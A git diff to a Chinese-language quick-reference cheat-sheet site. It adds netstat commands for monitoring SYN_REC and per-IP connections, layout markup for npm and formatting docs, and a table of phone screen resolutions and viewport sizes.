+<!--rehype:wrap-class=row-span-2-->
+
+以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数，则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
+
+```bash
+$ netstat -n -p|grep SYN_REC | wc -l
+```
+
+#### 列出发送 SYN_REC 连接的唯一 IP 地址
+
+```bash
+$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
+```
+<!--rehype:className=wrap-text -->
+
+与上面的命令一样，该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
+
+### 每个远程 IP 的连接数
+<!--rehype:wrap-class=col-span-2-->
+
+```bash
+$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
+```
+<!--rehype:className=wrap-text -->
+
+或者
+
+```bash
+$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
+```
+<!--rehype:className=wrap-text -->
+
+### 检查开放端口（ipv4 和 ipv6）
+
+```bash
+$ netstat -plntu
+```
+
+### 检查开放端口（ipv4 和 ipv6）
+
+```bash
+$ netstat -plnt
+```
+
+### 每个 IP 的打开连接数
+
+```bash
+$ netstat -an | grep 80 | wc -l
+```
+
+### 活跃的互联网连接
+
+```bash
+$ netstat -pnut -w | column -t -s $'\t'
+```

docs/npm.md

@@ -21,6 +21,7 @@ npm 备忘清单
 | `npm install <package_name>@<tag>` | 使用 dist-tags 安装包                   |
 | `npm install -g <package_name>`    | 全局安装包                   |
 | `npm uninstall <package_name>`     | 卸载包                   |
+<!--rehype:class=auto-wrap-->
 
 `--save` 是 npm@5 的默认值。 以前，使用不带 `--save` 的 `npm install` 不会更新 package.json。
 
@@ -40,6 +41,7 @@ npm 备忘清单
 | `npm i /path/to/repo`                | 绝对路径            |
 | `npm i ./archive.tgz`                | 压缩包             |
 | `npm i https://site.com/archive.tgz` | 通过 HTTP 压缩包    |
+<!--rehype:class=auto-wrap-->
 
 ### 清单
 
@@ -49,6 +51,7 @@ npm 备忘清单
 | `npm list -g --depth 0` | 列出所有全局安装包的安装版本 | 
 | `npm view`              | 列出此软件中所有依赖项的最新版本 | 
 | `npm outdated`          | 仅列出此软件中已过时的依赖项  |
+<!--rehype:class=auto-wrap-->
 
 ### 更新
 

docs/quickreference.md

@@ -215,6 +215,30 @@ const school = <div>学校</div>;
 <!--rehype:className=shortcuts-->
 
 
+### 隐藏卡片标题
+<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
+
+```
+隐藏卡片标题，在 H3 标题下面添加注释样式
+```
+
+```markdown
+### 隐藏卡片标题
+<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
+```
+<!--rehype:className=wrap-text -->
+
+### HTML 代码预览
+
+```
+  ```html preview
+  这里是你的 HTML 代码
+  \```
+```
+
+上面的 `markdown` 代码在 `meta` 位置添加 `preview` 标识，HTML 代码将被执行预览
+
+
 布局
 ---
 
@@ -273,7 +297,6 @@ H2 部分
 
 放在 `## H2 部分` 下面的注释配置，与 `<!--rehype:body-class=cols-2-->` 相同，设置 2 栏布局。
 
-
 ### H3 部分
 
 ```markdown
@@ -589,6 +612,17 @@ H2 部分
 
 `<!--rehype:className=style-list-arrow-->`
 
+### 隐藏表头强制小尺寸自动换行
+
+:- | :-
+:- | :-
+`visualEffectState.inactive` | 后台应一直显示为非激活状态。
+`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
+`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
+<!--rehype:className=auto-wrap-->
+
+`<!--rehype:className=auto-wrap-->`
+
 列表
 ---
 

docs/resolutions.md

@@ -0,0 +1,278 @@
+Resolutions 备忘清单
+===
+
+此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
+
+入门
+------
+
+### 介绍
+<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
+
+- 分辨率是像素数（单个颜色点）
+- 可视窗口由屏幕上网页填充的矩形大小定义
+- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
+- 用于设计
+<!--rehype:className=style-round-->
+
+解析度清单列表
+------
+
+### 手机
+<!--rehype:wrap-class=col-span-3-->
+
+| 设备                  | 屏幕尺寸              | 解析度                     | 可视窗口                  | 密度                | 设备密度             | 比率                 | 系统             |
+|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
+| Apple iPhone 11 (2019)             | 6.1 <sub>inch</sub>  | 828 x 1792 <sub>px</sub>  | 414 x 896 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | iOS 13.0      |
+| Apple iPhone 11 Pro (2019)         | 5.8 <sub>inch</sub>  | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 13.0      |
+| Apple iPhone 11 Pro Max (2019)     | 6.5 <sub>inch</sub>  | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 13.0      |
+| Apple iPhone 12 (2020)             | 6.1 <sub>inch</sub>  | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub>  | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 14.1      |
+| Apple iPhone 12 Pro (2020)         | 6.1 <sub>inch</sub>  | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub>  | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 14.1      |
+| Apple iPhone 12 Pro Max (2020)     | 6.7 <sub>inch</sub>  | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 14.1      |
+| Apple iPhone 12 mini (2020)        | 5.4 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | iOS 14.1      |
+| Apple iPhone 5                     | 4 <sub>inch</sub>    | 640 x 1136 <sub>px</sub>  | 320 x 568 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 6         |
+| Apple iPhone 5c                    | 4 <sub>inch</sub>    | 640 x 1136 <sub>px</sub>  | 320 x 568 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 7         |
+| Apple iPhone 5s                    | 4 <sub>inch</sub>    | 640 x 1136 <sub>px</sub>  | 320 x 568 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 7         |
+| Apple iPhone 6                     | 4.7 <sub>inch</sub>  | 750 x 1334 <sub>px</sub>  | 375 x 667 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 8         |
+| Apple iPhone 6s                    | 4.7 <sub>inch</sub>  | 750 x 1334 <sub>px</sub>  | 375 x 667 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 9         |
+| Apple iPhone 6s Plus               | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub>  | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 9         |
+| Apple iPhone 7                     | 4.7 <sub>inch</sub>  | 750 x 1334 <sub>px</sub>  | 375 x 667 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 10.0.1    |
+| Apple iPhone 7 Plus                | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub>  | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 10.0.1    |
+| Apple iPhone 8                     | 4.7 <sub>inch</sub>  | 750 x 1334 <sub>px</sub>  | 375 x 667 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 11        |
+| Apple iPhone 8 Plus                | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub>  | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 11        |
+| Apple iPhone SE                    | 4.0 <sub>inch</sub>  | 640 x 1136 <sub>px</sub>  | 320 x 568 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | iOS 9.3.2     |
+| Apple iPhone SE (2020)             | 4.7 <sub>inch</sub>  | 750 x 1334 <sub>px</sub>  | 375 x 667 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | iOS 13.0      |
+| Apple iPhone X                     | 5.8 <sub>inch</sub>  | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 11.1.1    |
+| Apple iPhone XR                    | 6.1 <sub>inch</sub>  | 828 x 1792 <sub>px</sub>  | 414 x 896 <sub>px</sub>  | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | iOS 12        |
+| Apple iPhone XS                    | 5.8 <sub>inch</sub>  | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 12        |
+| Apple iPhone XS Max                | 6.5 <sub>inch</sub>  | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub>  | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | iOS 12        |
+| Google Pixel                       | 5.0 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub>  | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1   |
+| Google Pixel                       | 5.0 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub>  | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub>   | Android 7.1   |
+| Google Pixel 2                     | 5.0 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub>  | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0   |
+| Google Pixel 2 XL                  | 6.0 <sub>inch</sub>  | 1440 x 2880 <sub>px</sub> |                          | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 8.0   |
+| Google Pixel 3 (2018)              | 5.5 <sub>inch</sub>  | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub>  | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 9.0   |
+| Google Pixel 3 XL (2018)           | 6.3 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub>  | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 9.0   |
+| Google Pixel 3a (2019)             | 5.6 <sub>inch</sub>  | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub>  | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 9.0   |
+| Google Pixel 3a XL (2019)          | 6 <sub>inch</sub>    | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| Google Pixel 4 (2019)              | 5.7 <sub>inch</sub>  | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub>  | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 10.0  |
+| Google Pixel 4 XL (2019)           | 6.3 <sub>inch</sub>  | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub>  | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 10    |
+| Google Pixel 4a (2020)             | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub>  | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 10.0  |
+| Google Pixel 5 (2020)              | 6 <sub>inch</sub>    | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub>  | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 11.0  |
+| Google Pixel XL                    | 5.5 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> |                          | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 7.1   |
+| HTC Desire 10 Lifestyle            | 5.5 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  | 360 x 640 <sub>px</sub>  | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | Android 6.0   |
+| HTC Desire 628                     | 5.0 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  | 360 x 640 <sub>px</sub>  | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | Android 5.1   |
+| Honor 6X (2016)                    | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 6.0   |
+| Honor 7X (2017)                    | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub>  | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 7.0   |
+| Honor 8X (2018)                    | 6.5 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 8.1   |
+| Honor 9X (2019)                    | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 9.0   |
+| Huawei Mate 10 Lite (2017)         | 5.9 <sub>inch</sub>  | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub>  | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 7.0   |
+| Huawei Mate 20 Lite (2018)         | 6.3 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 8.1   |
+| Huawei Mate 20 Pro (2018)          | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub>    | Android 9.0   |
+| Huawei Mate 30 (2019)              | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 10.0  |
+| Huawei Mate 30 Pro (2019)          | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub>  | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 10.0  |
+| Huawei Nova 7i (2020)              | 6.4 <sub>inch</sub>  | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub>  | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 10.0  |
+| Huawei Y9 Prime (2019)             | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 9.0   |
+| Huawei Y9s (2019)                  | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub>  | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 9.0   |
+| LG G5                              | 5.3 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 6.0.1 |
+| Motorola Moto E5 Plus              | 6.0 <sub>inch</sub>  | 720 x 1440 <sub>px</sub>  |                          | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | Android 8.0   |
+| OnePlus 6                          | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1   |
+| OnePlus 6T                         | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| OnePlus 7                          | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| OnePlus 7 Pro                      | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 9.0   |
+| OnePlus 7T (2019)                  | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| OnePlus 8 (2020)                   | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| OnePlus 8 Pro (2020)               | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub>  | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 10.0  |
+| OnePlus 8T (2020)                  | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0  |
+| OnePlus Nord (2020)                | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub>  | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Redmi Note 9 Pro (2020)            | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub>  | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 10.0  |
+| Samsung A50 (2019)                 | 6.4 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| Samsung Galaxy A30 (2019)          | 6.4 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| Samsung Galaxy A50s (2019)         | 6.4 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub>  | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| Samsung Galaxy A51 (2019)          | 6.5 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy A6s                 | 6.0 <sub>inch</sub>  | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub>  | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | Android  8.0  |
+| Samsung Galaxy A70s (2019)         | 6.7 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
+| Samsung Galaxy A71 (2020)          | 6.7 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy Fold (2019)         | 7.3 <sub>inch</sub>  | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 9.0   |
+| Samsung Galaxy J4                  | 5.5 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  |                          |                    | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 8.0   |
+| Samsung Galaxy J5                  | 5.0 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  |                          | 294 <sub>ppi</sub> |                    | 2 <sub>xhdpi</sub>      | Android 5.1   |
+| Samsung Galaxy J5 Prime            | 5.0 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  |                          | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 6.0.1 |
+| Samsung Galaxy J6                  | 5.6 <sub>inch</sub>  | 720 x 1480 <sub>px</sub>  |                          | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 8.0   |
+| Samsung Galaxy J7                  | 5.5 <sub>inch</sub>  | 720 x 1280 <sub>px</sub>  | 360 x 640 <sub>px</sub>  | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub>    | Android 6.0.1 |
+| Samsung Galaxy J7 Prime            | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | Android 6.0.1 |
+| Samsung Galaxy J7 Prime2 (2018)    | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub>  | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0   |
+| Samsung Galaxy J7 Pro              | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> |                          | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub>     | Android 7.0   |
+| Samsung Galaxy J8                  | 6.0 <sub>inch</sub>  | 720 x 1480 <sub>px</sub>  |                          | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 8.0   |
+| Samsung Galaxy Note20 (2020)       | 6.7 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub>  | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub>  | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub>  | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 10.0  |
+| Samsung Galaxy Note8               | 6.3 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> |                          | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 7.1.1 |
+| Samsung Galaxy On8                 | 5.5 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | Android 6.0.1 |
+| Samsung Galaxy S10                 | 6.1 <sub>inch</sub>  | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub>  | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub>    | Android 9.0   |
+| Samsung Galaxy S10 Lite (2020)     | 6.7 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy S10+                | 6.4 <sub>inch</sub>  | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub>  | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 9.0   |
+| Samsung Galaxy S20 (2020)          | 6.4 <sub>inch</sub>  | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub>  | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub>    | Android 10.0  |
+| Samsung Galaxy S20 FE (2020)       | 6.5 <sub>inch</sub>  | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub>  | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy S20 Ultra (2020)    | 6.9 <sub>inch</sub>  | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub>  | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 10.0  |
+| Samsung Galaxy S20+ (2020)         | 6.7 <sub>inch</sub>  | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub>  | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy S21 Ultra (2021)    | 6.8 <sub>inch</sub>  | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub>  | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0  |
+| Samsung Galaxy S8                  | 5.8 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub>  | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 7.0   |
+| Samsung Galaxy S8+                 | 6.2 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> |                          | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 7.0   |
+| Samsung Galaxy S9                  | 5.8 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub>  | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 8.0   |
+| Samsung Galaxy S9+                 | 6.2 <sub>inch</sub>  | 1440 x 2960 <sub>px</sub> |                          | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub>    | Android 8.0   |
+| Samsung Galaxy Z Flip (2020)       | 6.7 <sub>inch</sub>  | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0  |
+| Samsung Galaxy Z Fold2 (2020)      | 7.6 <sub>inch</sub>  | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub>      | Android 10.0  |
+| Samsung Note10 (2019)              | 6.3 <sub>inch</sub>  | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub>  | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0   |
